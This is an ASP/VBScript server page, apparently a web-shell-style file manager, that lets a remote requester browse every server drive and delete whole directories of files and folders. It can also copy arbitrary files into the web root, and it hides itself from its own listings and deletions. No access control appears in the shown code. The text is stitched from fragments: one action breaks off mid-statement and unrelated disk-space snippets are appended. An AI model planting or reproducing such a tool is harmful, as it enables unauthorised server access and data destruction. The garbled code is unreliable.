subfolder=trim(Request("sfolder"))
parentfolder=trim(Request("pfolder"))
drive=trim(Request("drives"))
if drive="" then
drive="C:\"
end if
roots=drive
if subfolder=".." then
if right(parentfolder,1)="\" then
parentfolder=left(parentfolder,len(parentfolder)-1)
end if
root=drive & left(parentfolder,instrrev(parentfolder,"\"))
parentfolder=left(parentfolder,instrrev(parentfolder,"\"))
else
if subfolder<>"" then
root=drive & parentfolder & subfolder & "\"
parentfolder=parentfolder & subfolder & "\"
else
root=drive
parentfolder=""
end if
end if
set fs = fso.GetFolder(root)
set files=fs.Files
set folders=fs.SubFolders
set dr=fso.Drives
%>
<form name="changefolder" method="post" action="filesystem.asp">
<table border=0 align=center cellspacing=0 cellpadding=0>
<tr>
<td align=center colspan=2>
<input type=text name="CurrentFolder" value="<%=root%>" readonly style="width:400;font-size:9pt;color:Orange" title="Current Folder">
<select name="drives" size=1 style="width:195;font-size:9pt;color:white">
<%
For Each d in dr
tmpdrtype=d.DriveType
select case tmpdrtype
Case 0: tmpdrtype = "Unknown"
Case 1: tmpdrtype = "Removable"
Case 2: tmpdrtype = "Fixed"
Case 3: tmpdrtype = "Network"
Case 4: tmpdrtype = "CD-ROM"
Case 5: tmpdrtype = "RAM Disk"
end select
%>
<option value="<%=d.DriveLetter%>:\" <%if UCASE(d.DriveLetter) & ":\"=drive then Response.Write "selected" end if%>><%=d.DriveLetter%>:\ [<%=tmpdrtype%>]</option>
<%
Next
set d=nothing
set dr=nothing
%>
</select>
</td>
</tr>
<tr>
<td align=center colspan=2>
<select name="root" size=13 style="width:600;font-size:9pt;color:YellowGreen" title="Folders and files list">
<%
on error resume next
set ds=fso.GetDrive(fso.GetDriveName(drive))
if ds.IsReady then
if fso.GetParentFolderName(root)<>"" then
%>
<option value=".." style="color:white">-------- <..></option>
<%
end if
%>
<%
totalsfolders=0
for each folderchild in folders
%>
<option value="<%=folderchild.name%>" style="color:LightPink"><%=returnattr(folderchild.Attributes)%> <<%=folderchild.name%>><%if isCheck then%> (<%=folderchild.size\1024 & "KB"%>)<%end if%></option>
<%
totalsfolders=totalsfolders+1
next
%>
<%
totalfiles=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
%>
<option value="<%=filechild.name%>"><%=returnattr(filechild.Attributes)%> <%=filechild.name%><%if isCheck then%> (<%=filechild.size\1024 & "KB"%>)<%end if%></option>
<% totalfiles=totalfiles+1
end if
next
isReady=true
else
isReady=false
end if
set ds=nothing
set filechild=nothing
set folderchild=nothing
%>
</select>
function returnattr(id)
if id and 0 then
returnattr="--------"
exit function
end if
if id and 1 then
returnattr="r"
else
returnattr="-"
end if
if id and 2 then
returnattr=returnattr & "h"
else
returnattr=returnattr & "-"
end if
if id and 4 then
returnattr=returnattr & "s"
else
returnattr=returnattr & "-"
end if
if id and 8 then
returnattr=returnattr & "v"
else
returnattr=returnattr & "-"
end if
if id and 16 then
returnattr=returnattr & "d"
else
returnattr=returnattr & "-"
end if
if id and 32 then
returnattr=returnattr & "a"
else
returnattr=returnattr & "-"
end if
if id and 64 then
returnattr=returnattr & "l"
else
returnattr=returnattr & "-"
end if
if id and 128 then
returnattr=returnattr & "c"
else
returnattr=returnattr & "-"
end if
end function
err.clear
on error resume next
set fso=server.CreateObject("Scripting.FileSystemObject")
if err.number<>0 then
Response.Write "<BR><font size=3 color=red>Sorry.<BR>The system can not support FileSystemObject!</font>"
Response.End
end if
if g_actionid<>"" and g_actionparameter<>"" then
Response.Write "<a href=""filesystem.asp""><< return to root</a><hr>"
select case cstr(g_actionid)
case "1" 'delete all of files under current folder
set fs=fso.GetFolder(g_actionparameter)
set files=fs.Files
tmpf1=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
err.Clear
on error resume next
tmpmsg=filechild.path
fso.DeleteFile filechild.path,true
if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "File : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf1=tmpf1+1
end if
next
if tmpf1>0 then
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
else
Response.Write "<div align=center><font color=""red"" size=4>Something wrong !!</font></div>"
end if
case "2" 'delete the selected file
err.Clear
on error resume next
fso.DeleteFile g_actionparameter,true
if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & g_actionparameter & "</font> can not be delete!"
else
Response.Write "File : <font size=2 color=green>" & g_actionparameter & "</font> had been deleted!"
end if
case "3" 'delete the selected folder
err.Clear
on error resume next
fso.DeleteFolder g_actionparameter,true
if err.number<>0 then
Response.Write "Folder : <font size=2 color=red>" & g_actionparameter & "</font> can not be delete!"
else
Response.Write "Folder : <font size=2 color=green>" & g_actionparameter & "</font> had been deleted!"
end if
case "4" 'delete all of folders and files
set fs = fso.GetFolder(g_actionparameter)
set files=fs.Files
set folders=fs.SubFolders
tmpf1=0
for each folderchild in folders
err.Clear
on error resume next
tmpmsg=folderchild.path
fso.DeleteFolder folderchild.path,true
if err.number<>0 then
Response.Write "Folder : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "Folder : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf1=tmpf1+1
next
if tmpf1>0 then
Response.Write "<hr>"
end if
tmpf2=0
for each filechild in files
if lcase(trim(filechild.name))<>"filesystem.asp" then
err.Clear
on error resume next
tmpmsg=filechild.path
fso.DeleteFile filechild.path,true
if err.number<>0 then
Response.Write "File : <font size=2 color=red>" & tmpmsg & "</font> can not be delete! <br>"
else
Response.Write "File : <font size=2 color=green>" & tmpmsg & "</font> had been deleted! <br>"
end if
tmpf2=tmpf2+1
end if
next
if tmpf2>0 or tmpf1>0 then
Response.Write "<hr><div align=center><font color=""yellow"" size=4>Completed !!</font></div>"
else
Response.Write "<div align=center><font color=""red"" size=4>Something wrong !!</font></div>"
end if
case "5"
if g_actionparameter<>"" then
err.Clear
'on error resume next
fso.CopyFile g_actionparameter,Request.ServerVariables("APPL_PHYSICAL_PATH") & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"\")),true
set fs=fso.GetFile(Request.ServerVariables("APPL_PHYSICAL_PATH") & right(g_actionparameter,len(g_actionparameter)-instrrev(g_actionparameter,"\")))
<%
Dim fso, d, dc, s, n
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.GetDrive("C")
Response.Write "C盘可用空间:" & dc.FreeSpace/1024/1024 & "MB"
%>
Dim fso, d, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName("c:")))
s = "Drive " & d.DriveLetter & ":"
s = s & vbCrLf
s = s & "Total Size:" & FormatNumber(d.TotalSize/1024, 0) & " Kbytes"
s = s & vbCrLf
s = s & "Available:" & FormatNumber(d.AvailableSpace/1024, 0) & " Kbytes"
ShowSpaceInfo = s